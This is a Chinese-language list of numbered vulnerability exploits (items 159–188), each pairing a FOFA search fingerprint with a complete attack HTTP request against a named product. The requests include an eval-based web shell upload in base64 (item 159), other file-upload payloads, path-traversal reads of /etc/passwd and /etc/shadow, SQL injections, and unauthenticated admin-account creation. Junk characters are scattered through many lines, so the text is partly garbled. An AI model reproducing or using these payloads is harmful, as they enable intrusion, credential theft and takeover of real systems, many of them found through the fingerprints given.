POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& h  E& k: B/ I2 K7 n5 W/ LHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

5 D: F$ o+ l0 r% n$ i4 _) ?5 Lobject=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
1 ^* n1 o0 S# p3 MFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
: `" W0 }; J: a1 D& {* c4 L1 JContent-Length: 1080
/ d% A5 x2 Y. R1 {Accept-Encoding: gzip, deflate
' v* c$ @$ ?1 v0 UConnection: close
- A9 b- a8 P# k7 @, A4 _7 [8 B/ IContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
) H; d3 w) a$ s' i# L
<?xml version="1.0" encoding="utf-8"?>
3 {2 p0 A4 F+ T+ i  E- n. x<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
4 h1 A3 R0 Y5 a4 Q! a4 c<soap:Body>
* g/ d# G0 R' J, }; i: o<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
: S' ~" I+ O. ^5 p+ h6 @<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
, S7 m7 i9 {4 g7 H& c</soap:Body>
</soap:Envelope>

6 U" L: E0 |1 @% ^+ N. g
$ c$ j/ A: D) H+ v% v/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


2 I0 m, ?" X4 @! t& J3 r2 i2 Y160. Sonatype Nexus Repository 3目录遍历与文件读取
. R. Z8 Z; `) Z  bCVE-2024-4956
2 A! d1 V1 D5 R6 FFOFA：title="Nexus Repository Manager"
6 M6 g1 u& g: P$ W9 X. K+ ~2 pGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
# f% `/ _* u5 \3 z' wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
! j+ e) m- g/ Q2 p' \$ w# }Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. J6 ]2 }6 z9 k$ V. w6 T

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; N. F2 i. S$ \; \* G) M; @FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
- U, ?: L5 S$ _Host: x.x.x.x
( \- A1 t8 U2 A. mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
# a* J/ k  B+ ~- x0 `5 y7 d: v9 s
. [( V7 i1 W9 b7 i) U2 C6 U<?xml version="1.0" encoding="utf-8"?>
4 X1 \' K9 U7 _  p- K& n6 O<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
6 W. i- U2 F' v% d) A9 Kxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 T/ R( |- [* k, T<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
$ K( a* ]0 J/ V$ [( A3 T<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
; \0 F; n1 W! n% Q, X6 D+ a</UploadResume>
. ^0 E4 A- @& J- R9 a$ u0 s. N! |</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

: C4 U; j- H! Z162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
# b) K5 \# z+ i  {POST /QH.aspx HTTP/1.1
4 b$ f( S6 {' O' YHost: x.x.x.x
5 B9 w  F2 b) @! sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
" B- }1 N* k' G9 wContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
1 _3 q8 o/ o* D- D9 B2 oContent-Type: application/octet-stream
$ u2 K3 q! A% d
: V- [+ B$ J! B: A+ z6 _<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
- P! a0 v& D4 ]& `9 N9 NContent-Disposition: form-data; name="action"

0 W+ ]5 t/ m8 k2 Rupload
------WebKitFormBoundaryeegvclmyurlotuey
' f/ \; g# V7 O5 K; TContent-Disposition: form-data; name="responderId"
& }/ Y. d  X$ e. a
ResourceNewResponder
( D. j6 s6 q) z: I------WebKitFormBoundaryeegvclmyurlotuey
, X4 C! ~+ V+ ~; z& X. i1 ]* `% `$ S5 SContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
/ y# ~) r7 W5 p8 [0 J; a0 z+ t
3 R6 b3 k6 e4 F( W$ e) ~( R* h
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
" Q. ?! F' Y0 N" q& t$ e6 U) R( WPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
: l# p. l. C: ~/ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
0 @# h2 S" U, D' ]% i  W0 dConnection: close
( k5 @: y3 A7 Q9 N2 A2 O. wContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

4 K8 o8 l" v0 j3 z( o2 K/ P1 @------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
  W. A# u* }9 V% W/ W7 ]) [
% E! F( P$ j: b4 E) x# Y1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
0 F" p% j; ^/ ^! h2 sContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
$ [0 e/ n  a; X3 W

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
/ g: d+ ]" \/ g+ K- a1 jPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
/ [% o  p6 ~4 M. i5 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 s( b5 |" A- q  ]Content-Length: 288
5 i  P! Y: Q  e' l' ~$ |$ n) CAccept: application/json, text/javascript, */*; q=0.01
3 R! e2 g( @# c2 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 Q2 E3 f8 z8 W0 ZX-Requested-With: XMLHttpRequest
; I. L: s4 m9 \" N# m! B1 eAccept-Encoding: gzip
$ M' A, C7 p* P6 m* u
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
# B/ L  ~5 h8 b, B: UContent-Type: image/jpeg
  u% S7 W% s# q& r& O, Z* L, U
4 N, N7 t4 c" K7 D<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
8 {: E1 S, \+ _/ E  E& x------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

% I% R$ S: Z5 ^$ F; h165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ z& p8 a: H) }7 {
3 d" r7 {$ O3 o. ?: C3 {& X( U
0 }3 D9 J7 f6 y, W6 ~8 y8 b166. 中成科信票务管理平台SeatMapHandler SQL注入
3 C9 w9 t- C7 @( n8 d) c. nFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
# \+ o" f2 O0 Q: Z% k9 tHost:
5 n8 ?- i) n; KPragma: no-cache
Cache-Control: no-cache
% o4 F! A" n8 Z# e9 c& F2 hUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
$ q! W$ I9 y4 [4 B* {) N0 eContent-Length: 89

% D0 \/ s# Y, Z3 wMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

6 y9 K4 J1 n1 @: N8 y0 B# V1 A
167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 X5 ~  [2 g* L# ]FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
; P* b$ a  {" T% x* cHost:
- _- L5 G! T7 i  lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; H" Q+ U1 a. \5 r  V( \& k0 gContent-Type: application/x-www-form-urlencoded
: T0 f& }- J) u$ DAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

9 Y: u. [( S4 \2 n
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
5 |1 g) O  Z+ V2 I6 |3 Y! SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 c! G3 Y" i5 X- g! _, _Connection: close


0 P; e8 W4 x7 @$ G! n$ \% ]% a3 T
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
. P# j3 p7 C- D3 X1 OGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
: R0 M" e* M' p( T! M4 `Host: your-ip
# A* {! W+ F/ g( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 o+ ?( U6 p9 HAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
/ b/ ^8 y. ~0 E5 R7 D


170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
0 j) X( L" i) l: G: OHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 R) ^8 V5 A" m: |8 Q& l  gContent-Type: application/x-www-form-urlencoded
0 Y5 @% x" o' f  h% m
filename=../webapps/ROOT/WEB-INF/web.xml


4 |. U+ u6 G7 Q  t8 x6 _' j8 H171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
: v/ d  Q+ `. g# y+ E3 S9 nGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
+ `* b/ o. d% A& }* b6 y7 UHost: your-ip
5 Q6 S0 k/ O6 M2 g% C3 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 p3 {  X0 }7 p$ mAccept: */*
6 `; T' M. T8 `! ]9 ?6 k% ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 j6 ]# `/ Y! u% I3 B2 U% i+ _Accept-Encoding: gzip, deflate
7 H& ]' D$ m4 `8 N. m! M( U6 Q5 OConnection: close

7 _0 E2 v) e: O' S& m% ]. t
' s9 j2 m7 ~; i2 b  R* V; X
5 e: p- f1 \; ^5 B+ J, a3 t) G172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
# p9 u( @$ V+ N9 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
; w; p% o" o- e7 B5 u- g& eAccept: */*
5 p- t$ X% d( t5 S& ?" f' ?Connection: keep-alive
! C  x  o  r- a$ `: R& E
7 I" @$ i+ |% I% E, ^

/ p6 Y( P5 N+ V! A( S) I173. Check Point 安全网关任意文件读取
CVE-2024-24919
5 b# X6 E# B+ ?8 ?$ _3 {6 G* SFOFA：app="Check_Point-SSL-Network-Extender"
$ a5 G( a2 _" j2 _( l" ^POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

5 r& F+ J! n- j- ~- raCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
+ g9 \* h1 K; e+ d4 @5 QGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 W; o6 N+ Y5 R) }: IAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! L! D+ |. x: A* ?7 J+ W3 X, m
* l& A" N2 w9 {) V9 t6 h
' o! p7 e. t) b: s' p
; d* x5 ^) m5 Q- }& V( e175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; `# f8 @& w6 J) nFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! d; h+ j/ F3 N0 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  N) ]# [4 s, W/ C; Z% {Accept-Encoding: gzip, deflate
6 M/ O# P, R# ^: b4 f9 U% q% E5 ]/ @Connection: close
) ]' ^: l# _+ c# GUpgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
5 @- U3 q1 r5 b9 c9 i% {; bFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
" t; d$ W1 ^: x3 ?# v& e! OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 k  B" h0 X/ d8 H( |' CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
/ u$ z% L; C6 h2 A/ y: _
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
. C  m% _$ H" L
<?php system("cat /etc/passwd");unlink(__FILE__);?>
1 W: N" x" r6 J8 C5 N/ r: v------WebKitFormBoundaryOKldnDPT
4 `1 M  b$ x& H4 mContent-Disposition: form-data; name="uploadtime"

3 Y) q- [4 z: E# X
" ?4 u" m5 m& g' ?0 S) d0 Y) ]  F------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
0 H$ {  O/ H; A% o6 D6 i4 i( w/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
, j4 Z" U) G& G) b9 Y& c/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
. s4 n( T1 s  K3 M" ]* X5 C. Z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
+ V* O0 F+ s$ g! W5 F/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
8 c# T0 R# X8 r' n0 p  Y8 ^+ ^) o/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
( \" I! e% e/ M" _- Q6 s6 M1 d- q/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
1 ?! B1 L& \3 X* G  J/userLogin.asp/../actionpolicy_status/../ER3260.cfg
" i# k3 C" y# A5 W; a1 [# |/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
0 s- d$ K' D9 M2 S+ J/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/ ?) q1 m  ^9 Y: R1 O/ I+ R/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
1 z" I) x" J# |/userLogin.asp/../actionpolicy_status/../ER3100.cfg
. s# i0 T( x2 k% {0 {7 G% ?: W/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

. M# c" o* @( I5 w( ^4 }% F2 f/ ?
5 u$ h6 E; p4 c" m) I178. H3C校园网自助服务系统-flexfileupload-任意文件上传
7 R9 t8 _1 F* J; `( k/ uFOFA：header="/selfservice"
  z/ W& F$ f0 q3 E8 LPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
) V) R3 I% ~& b; _2 E: CHost:
" R' J, D2 n3 C- @, N6 y+ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
0 r: `0 j4 w1 k6 T+ m
# [, ~8 Z7 ?$ b12234
5 K) M: N7 P" B" d-----------------aqutkea7vvanpqy3rh2l--

! `# E1 R  i* {" u+ ?- y
GET /imc/primepush/%2e%2e/flex/12234.txt
! F" {% X& y1 P6 G) Z8 M4 X

% ~5 H/ [0 T/ {* U; ^' T179. 建文工程管理系统存在任意文件读取
1 L- g; B/ f" v7 d# aPOST /Common/DownLoad2.aspx HTTP/1.1
8 K8 ]' p! L6 f. W& _- HHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 j2 F5 }- `2 Q; ]4 n5 O7 t9 A5 M9 qUser-Agent: Mozilla/5.0

path=../log4net.config&Name=
8 S& v& v7 T& ~! o& H8 S

180. 帮管客 CRM jiliyu SQL注入
' |8 J8 g1 X8 x# w0 TFOFA：app="帮管客-CRM"
! h- `/ M1 r+ ?2 AGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
9 y+ b  X! Q# v5 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ {# N2 Z" w& e$ e. A+ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 ?3 a6 Q" g/ S( n4 \Accept-Encoding: gzip, deflate
4 b) u: Q4 b1 F# N. bAccept-Language: zh-CN,zh;q=0.9
Connection: close
. j% j6 d2 [, M: ]

; G5 j4 b" Y' q) v) }9 j181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
% q4 U% J7 ~2 m" k7 ]! Y% Y7 `FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. h" U3 x. g  U/ k! x! mAccept-Encoding: gzip, deflate, br
* E, v" [: t& J2 O$ S9 K( YAccept-Language: zh-CN,zh;q=0.9
0 [8 q3 h3 p) l% o$ x7 Y5 n1 oConnection: close
Content-Type: application/x-www-form-urlencoded


) {6 k9 S  g$ oaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

! }$ o  I1 E) u8 R' S3 _6 b
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
+ L, y3 E) l. \$ u& |FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
, g2 V9 z2 E  q- W5 Z' O) z7 h  xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; L. h; _9 _1 n5 X0 h0 NAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
4 O1 j5 V0 d2 _+ b  ^' T' X; ]Connection: close
Content-Type: application/x-www-form-urlencoded

$ p3 r" e; p3 y" m8 f
username=test1234&pwd=test1234&savedays=1
( P2 J9 s# Y9 g
: C7 x3 x9 _0 X: ?/ d, G
2 n3 g3 U& g4 `1 t183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
) }/ E/ M. D, ]7 B$ XHost: your-ip
8 S! Z6 d+ L! Y  c; h. \, d" UUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
) n- @: ~8 d# G0 W* s2 QConnection: close
5 C8 y- d9 ~, z: m7 W

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
* Z2 h/ E( f# ]# `- J  BAccept-Encoding: gzip, deflate
1 U; x" t9 E' A) d! L# P/ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ O( n% w" A; ^+ J9 P6 a9 _Accept: application/xml, text/xml, */*; q=0.01
3 \3 [" V% [& ?$ y2 VContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  H! S; l8 G8 b+ Q: rX-Requested-With: XMLHttpRequest

% r1 [0 S- y1 l1 {
( J& S6 m9 B6 C) E; X' [3 dinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


* H% U! D7 A2 V- |) g  a9 A185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

  t5 w( _: p9 b; q
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
+ z- r% L* v* n$ TFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
+ b1 k9 s5 B; Q: m8 @8 v- DHost: your-ip
, q! D7 z. D) K, s+ w: q& C  _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
2 g8 G+ n1 _+ vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* |. Z5 k1 q+ d$ Y( J/ z% p& KConnection: close
Content-Type: application/x-www-form-urlencoded
8 S  u7 S9 L' y9 Z; }/ m1 E
$ O: u8 ~8 W% T7 A4 I: Oreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


7 |9 f; [8 `8 N187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
( x- f8 v% y3 y& SPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
% R1 c2 q6 C7 I3 M  [# h2 sHost: your-ip
8 ^8 P8 S# ^  y6 T7 I3 x$ N  J% @Content-Type: application/x-www-form-urlencoded
' d: D' g& n. s# I

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

" X- V3 u8 `! R& z+ i
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
7 c- n% ]# b3 BGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
